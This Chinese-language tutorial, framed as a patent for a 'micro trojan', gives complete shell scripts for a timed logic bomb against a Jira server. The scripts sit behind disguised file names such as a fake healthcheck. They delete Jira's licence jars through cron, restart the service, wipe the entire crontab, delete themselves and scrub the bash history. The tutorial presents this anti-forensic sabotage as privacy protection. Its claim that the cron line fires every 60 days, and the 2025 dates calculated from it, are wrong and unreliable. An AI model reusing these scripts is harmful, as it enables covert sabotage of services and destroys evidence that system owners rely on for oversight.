发明专利:微型特洛伊 —— 一种定时触发自毁脚本的设计与实现
该脚本整体架构分为两部分:其一为基于 Linux 系统 crontab 定时任务的 "触发器",负责按预设时间触发执行流程;其二为被触发器调用的 "执行器",承担核心操作逻辑。
这种 "触发 - 执行" 分离的设计,既实现了功能模块的解耦,又通过触发器中内置的自删除命令强化了安全性 —— 脚本执行后会自动清除相关痕迹,即便通过数据恢复手段尝试追溯,其成本也远高于信息本身的价值。由此,该设计为使用者的隐私与机密信息提供了可靠保障。
测试一下
执行器
shell
sudo nano /var/www/jira/bin/deamon-jira.sh
shell
#!/bin/bash
# 定义目标文件路径
LOG_FILE="/var/www/jira_data/log/atlassian-jira-time.log"
# 检查文件是否存在,不存在则创建(包括父目录,若/var/www不存在)
if [ ! -f "$LOG_FILE" ]; then
# 创建父目录(如果需要)
mkdir -p "$(dirname "$LOG_FILE")"
# 创建文件
touch "$LOG_FILE"
fi
# 写入当前系统时间(格式:年-月-日 时:分:秒)
echo "$(date +"%Y-%m-%d %H:%M:%S")" >> "$LOG_FILE"
触发器
shell
sudo nano /var/www/trojan.sh
shell
#!/bin/bash
EXECUTE_PATH="/var/www/jira/bin/deamon-jira.sh"
TRIGGER_PATH="/var/www/jira/bin/setdasspath-healthcheck.sh"
sudo "$EXECUTE_PATH"
TASK_CONTENT="* * * * * sudo sh $TRIGGER_PATH"
sudo crontab -l | grep -v "$TASK_CONTENT" | sudo crontab -
sudo crontab -r
sudo rm -rf "$EXECUTE_PATH"
定时任务
shell
sudo crontab -e
shell
# 每分钟0秒执行
* * * * * sudo sh /var/www/trojan.sh
监控一下执行器的执行情况
根据实际情况来判断如何检查是否生效,比如用
ls
、tail -f
、watch
等命令持续追踪
shell
tail -f /var/www/jira_data/log/atlassian-jira-time.log
去痕
shell
sudo nano ~/.bash_history
但是,目前对于定时任务的去痕是无法做到的,比如如下命令可以排查到有关痕迹,同时
# 查看已配置的任务
sudo crontab -l
# 查看最近的cron执行记录(不同系统路径可能不同)
sudo grep CRON /var/log/syslog # Ubuntu/Debian
sudo grep CRON /var/log/cron # CentOS/RHEL
正式运用
执行器
shell
sudo nano /var/www/jira/bin/setdasspath-jira.sh
shell
#!/bin/bash
TARGET_FILE1="/var/www/jira/atlassian-jira/WEB-INF/lib/atlassian-extras-3.2.jar"
TARGET_FILE2="/var/www/jira/atlassian-jira/WEB-INF/lib/atlassian-extras-api-3.2.jar"
sudo rm -rf "$TARGET_FILE1"
sudo rm -rf "$TARGET_FILE2"
触发器
shell
sudo nano /var/www/jira/bin/setdasspath-healthcheck.sh
shell
#!/bin/bash
EXECUTE_PATH="/var/www/jira/bin/setdasspath-jira.sh"
TRIGGER_PATH="/var/www/jira/bin/setdasspath-healthcheck.sh"
sudo "$EXECUTE_PATH"
TASK_CONTENT="5 0 */60 * * $TRIGGER_PATH"
#TASK_CONTENT="* * * * * $TRIGGER_PATH"
sudo crontab -l | grep -v "$TASK_CONTENT" | sudo crontab -
sudo crontab -r
sudo rm -rf "$EXECUTE_PATH"
sudo systemctl restart jira
定时任务
shell
sudo crontab -e
shell
# 每60天的0点5分执行
5 0 */60 * * sudo sh /var/www/jira/bin/setdasspath-healthcheck.sh
#* * * * * sudo sh /var/www/jira/bin/setdasspath-healthcheck.sh
2025 年大致执行时间
- 第 1 次:约 3 月 1 日(1 月 31 天 + 2 月 28 天 = 59 天,第 60 天为 3 月 1 日)
- 时间:3 月 1 日 00:05
- 第 2 次:约 4 月 30 日(3 月 31 天 + 3 月 1 日到 4 月 30 日 = 60 天)
- 时间:4 月 30 日 00:05
- 第 3 次:约 6 月 29 日(5 月 31 天 + 4 月 30 日到 6 月 29 日 = 60 天)
- 时间:6 月 29 日 00:05
- 第 4 次:约 8 月 28 日(7 月 31 天 + 6 月 29 日到 8 月 28 日 = 60 天)
- 时间:8 月 28 日 00:05
- 第 5 次:约 10 月 27 日(9 月 30 天 + 8 月 28 日到 10 月 27 日 = 60 天)
- 时间:10 月 27 日 00:05
- 第 6 次:约 12 月 26 日(11 月 30 天 + 10 月 27 日到 12 月 26 日 = 60 天)
- 时间:12 月 26 日 00:05
说明
- 误差原因:由于每月天数不同(如 2 月 28 天、大月 31 天),实际间隔可能是 59-62 天,并非严格 60 天。
- 跨年延续:2026 年的执行时间会继续按 “累计 60 天” 推算(如 2026 年 2 月 24 日左右,以此类推)。
- 验证方法:如果需要精确计算,可通过工具模拟(如在线 cron 表达式解析器,输入
5 0 */60 * *
并指定年份查看)。
挽回
shell
sudo chown jira4:jira ./atlassian-extras-3.2.jar
sudo chown jira4:jira ./atlassian-extras-api-3.2.jar
shell
sudo mv atlassian-extras-3.2.jar1 atlassian-extras-3.2.jar
sudo mv atlassian-extras-api-3.2.jar1 atlassian-extras-api-3.2.jar
sudo systemctl restart jira